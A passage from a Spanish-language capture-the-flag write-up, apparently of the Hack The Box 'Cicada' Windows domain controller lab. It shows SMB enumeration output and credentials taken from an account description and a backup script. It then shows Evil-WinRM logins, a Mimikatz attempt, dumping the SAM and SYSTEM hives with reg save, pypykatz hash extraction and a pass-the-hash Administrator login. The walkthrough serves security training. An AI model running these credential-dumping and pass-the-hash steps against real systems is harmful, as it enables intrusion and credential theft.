'1104':
username: john.smoulder
name: (null)
acb: '0x00000210'
description: (null)
'1105':
username: sarah.dantelia
name: (null)
acb: '0x00000210'
description: (null)
'1106':
username: michael.wrightson
name: (null)
acb: '0x00000210'
description: (null)
'1108':
username: david.orelious
name: (null)
acb: '0x00000210'
description: Just in case I forget my password is aRt$Lp#7t*VQ!3
'1601':
username: emily.oscars
name: Emily Oscars
acb: '0x00000210'
description: (null)
'500':
username: Administrator
name: (null)
acb: '0x00000210'
description: Built-in account for administering the computer/domain
'501':
username: Guest
name: (null)
acb: '0x00000214'
description: Built-in account for guest access to the computer/domain
'502':
username: krbtgt
name: (null)
acb: '0x00020011'
description: Key Distribution Center Service Account
=====================================
| Groups via RPC on 10.10.11.35 |
=====================================
[*] Enumerating local groups
[+] Found 5 group(s) via 'enumalsgroups domain'
[*] Enumerating builtin groups
[+] Found 28 group(s) via 'enumalsgroups builtin'
[*] Enumerating domain groups
[+] Found 17 group(s) via 'enumdomgroups'
[+] After merging groups results we have 50 group(s) total:
'1101':
groupname: DnsAdmins
type: local
'1102':
groupname: DnsUpdateProxy
type: domain
'1103':
groupname: Groups
type: domain
'1109':
groupname: Dev Support
type: domain
'498':
groupname: Enterprise Read-only Domain Controllers
type: domain
'512':
groupname: Domain Admins
type: domain
'513':
groupname: Domain Users
type: domain
'514':
groupname: Domain Guests
type: domain
'515':
groupname: Domain Computers
type: domain
'516':
groupname: Domain Controllers
type: domain
'517':
groupname: Cert Publishers
type: local
'518':
groupname: Schema Admins
type: domain
'519':
groupname: Enterprise Admins
type: domain
'520':
groupname: Group Policy Creator Owners
type: domain
'521':
groupname: Read-only Domain Controllers
type: domain
'522':
groupname: Cloneable Domain Controllers
type: domain
'525':
groupname: Protected Users
type: domain
'526':
groupname: Key Admins
type: domain
'527':
groupname: Enterprise Key Admins
type: domain
'544':
groupname: Administrators
type: builtin
'545':
groupname: Users
type: builtin
'546':
groupname: Guests
type: builtin
'548':
groupname: Account Operators
type: builtin
'549':
groupname: Server Operators
type: builtin
'550':
groupname: Print Operators
type: builtin
'551':
groupname: Backup Operators
type: builtin
'552':
groupname: Replicator
type: builtin
'553':
groupname: RAS and IAS Servers
type: local
'554':
groupname: Pre-Windows 2000 Compatible Access
type: builtin
'555':
groupname: Remote Desktop Users
type: builtin
'556':
groupname: Network Configuration Operators
type: builtin
'557':
groupname: Incoming Forest Trust Builders
type: builtin
'558':
groupname: Performance Monitor Users
type: builtin
'559':
groupname: Performance Log Users
type: builtin
'560':
groupname: Windows Authorization Access Group
type: builtin
'561':
groupname: Terminal Server License Servers
type: builtin
'562':
groupname: Distributed COM Users
type: builtin
'568':
groupname: IIS_IUSRS
type: builtin
'569':
groupname: Cryptographic Operators
type: builtin
'571':
groupname: Allowed RODC Password Replication Group
type: local
'572':
groupname: Denied RODC Password Replication Group
type: local
'573':
groupname: Event Log Readers
type: builtin
'574':
groupname: Certificate Service DCOM Access
type: builtin
'575':
groupname: RDS Remote Access Servers
type: builtin
'576':
groupname: RDS Endpoint Servers
type: builtin
'577':
groupname: RDS Management Servers
type: builtin
'578':
groupname: Hyper-V Administrators
type: builtin
'579':
groupname: Access Control Assistance Operators
type: builtin
'580':
groupname: Remote Management Users
type: builtin
'582':
groupname: Storage Replica Administrators
type: builtin
=====================================
| Shares via RPC on 10.10.11.35 |
=====================================
[*] Enumerating shares
[+] Found 7 share(s):
ADMIN$:
comment: Remote Admin
type: Disk
C$:
comment: Default share
type: Disk
DEV:
comment: ''
type: Disk
HR:
comment: ''
type: Disk
IPC$:
comment: Remote IPC
type: IPC
NETLOGON:
comment: Logon server share
type: Disk
SYSVOL:
comment: Logon server share
type: Disk
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share DEV
[+] Mapping: OK, Listing: DENIED
[*] Testing share HR
[+] Mapping: OK, Listing: OK
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share NETLOGON
[+] Mapping: OK, Listing: OK
[*] Testing share SYSVOL
[+] Mapping: OK, Listing: OK
========================================
| Policies via RPC for 10.10.11.35 |
========================================
[*] Trying port 445/tcp
[+] Found policy:
Domain password information:
Password history length: 24
Minimum password length: 7
Maximum password age: 41 days 23 hours 53 minutes
Password properties:
- DOMAIN_PASSWORD_COMPLEX: true
- DOMAIN_PASSWORD_NO_ANON_CHANGE: false
- DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false
- DOMAIN_PASSWORD_LOCKOUT_ADMINS: false
- DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false
- DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false
Domain lockout information:
Lockout observation window: 30 minutes
Lockout duration: 30 minutes
Lockout threshold: None
Domain logoff information:
Force logoff time: not set
========================================
| Printers via RPC for 10.10.11.35 |
========================================
[+] No printers returned (this is not an error)
Completed after 14.93 seconds
Resultado:
- Contraseña de usuario
david.orelious
obtenida directamente de la descripción de su cuenta:aRt$Lp#7t*VQ!3
.
Intentamos conectarnos mediante WinRM usando el usuario y la contraseña obtenida, pero no logramos establecer la conexión.
❯ sudo evil-winrm -i 10.10.11.35 -u david.orelious -p 'aRt$Lp#7t*VQ!3'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
Resultado
- La conexión con WinRM falló, mostrando un error de autorización.
Intento de Enumeración de Recursos con enum4linux:
Se intentó realizar una enumeración de recursos en el servidor utilizando enum4linux-ng
.
❯ /opt/enum4linux-ng/enum4linux-ng.py -S 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
ENUM4LINUX - next generation (v1.3.3)
==========================
| Target Information |
==========================
[*] Target ........... 10.10.11.35
[*] Username ......... 'david.orelious'
[*] Random Username .. 'wrijanuc'
[*] Password ......... 'aRt$Lp#7t*VQ!3'
[*] Timeout .......... 5 second(s)
====================================
| Listener Scan on 10.10.11.35 |
====================================
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
========================================
| SMB Dialect Check on 10.10.11.35 |
========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: false
SMB 2.02: true
SMB 2.1: true
SMB 3.0: true
SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true
==========================================================
| Domain Information via SMB session for 10.10.11.35 |
==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: CICADA-DC
NetBIOS domain name: CICADA
DNS domain: cicada.htb
FQDN: CICADA-DC.cicada.htb
Derived membership: domain member
Derived domain: CICADA
========================================
| RPC Session Check on 10.10.11.35 |
========================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for user session
[+] Server allows session using username 'david.orelious', password 'aRt$Lp#7t*VQ!3'
[*] Check for random user
[+] Server allows session using username 'wrijanuc', password 'aRt$Lp#7t*VQ!3'
[H] Rerunning enumeration with user 'wrijanuc' might give more results
==================================================
| Domain Information via RPC for 10.10.11.35 |
==================================================
[+] Domain: CICADA
[+] Domain SID: S-1-5-21-917908876-1423158569-3159038727
[+] Membership: domain member
=====================================
| Shares via RPC on 10.10.11.35 |
=====================================
[*] Enumerating shares
[+] Found 7 share(s):
ADMIN$:
comment: Remote Admin
type: Disk
C$:
comment: Default share
type: Disk
DEV:
comment: ''
type: Disk
HR:
comment: ''
type: Disk
IPC$:
comment: Remote IPC
type: IPC
NETLOGON:
comment: Logon server share
type: Disk
SYSVOL:
comment: Logon server share
type: Disk
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share DEV
[+] Mapping: OK, Listing: OK
[*] Testing share HR
[+] Mapping: OK, Listing: OK
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share NETLOGON
[+] Mapping: OK, Listing: OK
[*] Testing share SYSVOL
[+] Mapping: OK, Listing: OK
Completed after 5.41 seconds
Resultado de la Enumeración:
- Información del Objetivo:
- Nombre de dominio: CICADA
- Nombre de equipo: CICADA-DC
- Dominio DNS: cicada.htb
- Nombre completo del dominio: CICADA-DC.cicada.htb
- Tipo de miembro: Miembro de dominio
- Acceso SMB:
- SMB es accesible en los puertos 445/tcp y 139/tcp.
- Protocolo SMB soportado:
- SMB 2.0, 2.1, 3.0 y 3.1.1.
- Shares detectados:
- ADMIN$, C$, DEV, HR, IPC$, NETLOGON, SYSVOL.
- Permisos en los shares:
- ADMIN$: Acceso denegado.
- C$: Acceso denegado.
- DEV: Acceso permitido y listado de contenido disponible.
- HR: Acceso permitido y listado de contenido disponible.
- IPC$: Acceso permitido, pero listado no soportado.
- NETLOGON: Acceso permitido y listado de contenido disponible.
- SYSVOL: Acceso permitido y listado de contenido disponible.
Script para Enumerar y Listar Contenido de los Shares SMB:
Basado en la información obtenida, se utilizó el siguiente script en Bash para intentar listar el contenido de los shares SMB accesibles.
#!/bin/bash
# Dirección IP del servidor
SERVER_IP="10.10.11.35"
# Usuario SMB
SMB_USER='david.orelious'
SMB_PASS='aRt$Lp#7t*VQ!3'
# Lista de shares detectados
SHARES=("ADMIN$" "C$" "DEV" "HR" "IPC$" "NETLOGON" "SYSVOL")
echo "Iniciando enumeración de shares SMB en $SERVER_IP con usuario '$SMB_USER'..."
for SHARE in "${SHARES[@]}"; do
echo "Intentando acceder al share: $SHARE"
# Comando para listar el contenido del share
smbclient "\\\\$SERVER_IP\\$SHARE" -U "$SMB_USER%$SMB_PASS" 2>/dev/null
# Verificar si el acceso fue exitoso
if [ $? -eq 0 ]; then
echo "Acceso exitoso al share '$SHARE'. Contenido listado arriba."
else
echo "No se pudo acceder al share '$SHARE'."
fi
echo "---------------------------------------------"
done
echo "Enumeración completada."
Ejecución del script
Al ejecutar el script, se realizó la enumeración de los shares SMB y se intentó acceder a cada uno de ellos:
❯ bash enum_smb.sh
Iniciando enumeración de shares SMB en 10.10.11.35 con usuario 'david.orelious'...
Intentando acceder al share: ADMIN$
tree connect failed: NT_STATUS_ACCESS_DENIED
No se pudo acceder al share 'ADMIN$'.
---------------------------------------------
Intentando acceder al share: C$
tree connect failed: NT_STATUS_ACCESS_DENIED
No se pudo acceder al share 'C$'.
---------------------------------------------
Intentando acceder al share: DEV
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 14 13:31:39 2024
.. D 0 Thu Mar 14 13:21:29 2024
Backup_script.ps1 A 601 Wed Aug 28 19:28:22 2024
4168447 blocks of size 4096. 425797 blocks available
smb: \> exit
Acceso exitoso al share 'DEV'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: HR
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 14 13:29:09 2024
.. D 0 Thu Mar 14 13:21:29 2024
Notice from HR.txt A 1266 Wed Aug 28 19:31:48 2024
4168447 blocks of size 4096. 425797 blocks available
smb: \> exit
Acceso exitoso al share 'HR'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: IPC$
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> exit
Acceso exitoso al share 'IPC$'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: NETLOGON
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 14 12:08:56 2024
.. D 0 Thu Mar 14 12:15:21 2024
4168447 blocks of size 4096. 425797 blocks available
smb: \> exit
Acceso exitoso al share 'NETLOGON'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: SYSVOL
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Aug 22 19:40:07 2024
.. D 0 Thu Mar 14 12:08:56 2024
cicada.htb Dr 0 Thu Mar 14 12:08:56 2024
4168447 blocks of size 4096. 425797 blocks available
smb: \> exit
Acceso exitoso al share 'SYSVOL'. Contenido listado arriba.
---------------------------------------------
Enumeración completada.
Resumen de la ejecución del script
Acceso a ADMIN$:
- Resultado: Acceso denegado.
- Mensaje:
tree connect failed: NT_STATUS_ACCESS_DENIED
Acceso a C$:
- Resultado: Acceso denegado.
- Mensaje:
tree connect failed: NT_STATUS_ACCESS_DENIED
Acceso a DEV:
- Resultado: Acceso exitoso.
- Contenido:
Backup_script.ps1
(Archivo de script encontrado). - Descarga del archivo Backup_script.ps1
Acceso a HR:
- Resultado: Acceso exitoso.
- Contenido:
Notice from HR.txt
Acceso a IPC$:
- Resultado: Acceso exitoso, pero no hay archivos listados.
Acceso a NETLOGON:
- Resultado: Acceso exitoso, pero no hay archivos listados.
Acceso a SYSVOL:
- Resultado: Acceso exitoso, pero no se pudo descargar el directorio
cicada.htb
. - Mensaje:
NT_STATUS_FILE_IS_A_DIRECTORY opening remote file \cicada.htb
Análisis del Script y Obtención de Credenciales:
Al revisar el contenido del script Backup_script.ps1
, se detectaron credenciales de usuario y contraseña en texto claro, lo que permitió un acceso posterior a la máquina de destino mediante WinRM.
Contenido del Script Backup_script.ps1
:
$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"
$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
Acceso a la Máquina mediante WinRM:
Utilizando las credenciales encontradas en el script, se intentó realizar un inicio de sesión remoto con WinRM mediante la herramienta Evil-WinRM.
sudo evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>
Obtención de la Flag de Usuario
Durante el proceso de explotación, se logró obtener la primera flag de usuario al acceder al escritorio del usuario emily.oscars
en la máquina remota.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> cd ..
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> dir
Directory: C:\Users\emily.oscars.CICADA
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 8/28/2024 10:32 AM Desktop
d-r--- 8/22/2024 2:22 PM Documents
d-r--- 5/8/2021 1:20 AM Downloads
d-r--- 5/8/2021 1:20 AM Favorites
d-r--- 5/8/2021 1:20 AM Links
d-r--- 5/8/2021 1:20 AM Music
d-r--- 5/8/2021 1:20 AM Pictures
d----- 5/8/2021 1:20 AM Saved Games
d-r--- 5/8/2021 1:20 AM Videos
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> cd Desktop
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> dir
Directory: C:\Users\emily.oscars.CICADA\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 12/3/2024 12:00 PM 34 user.txt
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> get-content user.txt
74ce464aa7f9837bd2c12e77dffa750b
Elevación de Privilegios
Subida de Mimikatz
Intentamos subir Mimikatz para elevar privilegios, pero no obtuvimos los permisos suficientes para ejecutarlo correctamente.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> upload
Info: Uploading /opt/postexplotation/win/mimikatz_exe/x64/ to C:\Users\emily.oscars.CICADA\Documents\x64
Data: 883688 bytes of 883688 bytes copied
Info: Upload successful!
Verificamos que el archivo se haya subido correctamente:
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> ls
Directory: C:\Users\emily.oscars.CICADA\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/3/2024 2:27 PM Cicada
d----- 12/3/2024 2:29 PM x64
Ejecución de Mimikatz
Intentamos ejecutar Mimikatz con el comando para obtener las contraseñas de los usuarios, pero se encontró un error debido a la falta de privilegios adecuados:
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents\x64> ./mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" exit
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
mimikatz(commandline) # sekurlsa::logonPasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
mimikatz(commandline) # exit
Bye!
El error ERROR kuhl_m_privilege_simple indica que no tenemos privilegios suficientes para ejecutar la función privilege::debug
. Además, el error ERROR kuhl_m_sekurlsa_acquireLSA muestra que no se pudo obtener acceso a la memoria necesaria para recuperar las contraseñas.
Comprobación de Privilegios
Para verificar nuestros privilegios, usamos el siguiente comando:
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Los privilegios SeBackupPrivilege y SeRestorePrivilege están habilitados, lo que nos permite realizar copias de seguridad de archivos y directorios.
Backup de SAM y SYSTEM
Aprovechamos el privilegio SeBackupPrivilege para realizar un backup de los registros SAM y SYSTEM, que contienen las credenciales necesarias para intentar obtener acceso de alto nivel:
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> mkdir SAM
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> cd SAM
Guardamos los registros SAM y SYSTEM:
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents\SAM> reg save hklm\sam sam
The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents\SAM> reg save hklm\system system
The operation completed successfully.
Descargamos los archivos SAM y SYSTEM al equipo atacante:
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents\SAM> download .
Info: Downloading C:\Users\emily.oscars.CICADA\Documents\SAM\. to .
Info: Download successful!
Intento con Samdump2 de obtener el hash
Usamos samdump2 para extraer los hashes de las contraseñas, pero los resultados no fueron los esperados:
sudo samdump2 system sam
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* ä:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Resumen
- No obtuvimos el hash correcto de Administrator.
Intento de obntener el hash con Pypykatz
A continuación, usamos pypykatz para extraer los hashes correctamente:
pypykatz registry system --sam sam
WARNING:pypykatz:SECURITY hive path not supplied! Parsing SECURITY will not work
WARNING:pypykatz:SOFTWARE hive path not supplied! Parsing SOFTWARE will not work
============== SYSTEM hive secrets ==============
CurrentControlSet: ControlSet001
Boot Key: 3c2b033757a49110a9ee680b46e8d620
============== SAM hive secrets ==============
HBoot Key: a1c299e572ff8c643a857d3fdb3e5c7c10101010101010101010101010101010
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Acceso mediante Evil-WinRM
Finalmente, utilizamos Evil-WinRM para obtener acceso a la máquina como Administrator utilizando el hash:
❯ sudo evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Obtención de la Flag de Administrator
Navegamos a través de los directorios hasta llegar al directorio Desktop y leímos el contenido del archivo root.txt, obteniendo así la flag.
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 12/3/2024 5:13 PM 34 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> get-content root.txt
29d599adfa4c56184faaeea2a9f64ba1
Información relevante
- https://kaluche.github.io/posts/2020/09/dumping-credentials-offline/
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-hashes-from-sam-registry
- https://medium.com/@e.escalante.jr/active-directory-workshop-brute-forcing-the-domain-server-using-crackmapexec-pt-6-feab1c43d970
:wq!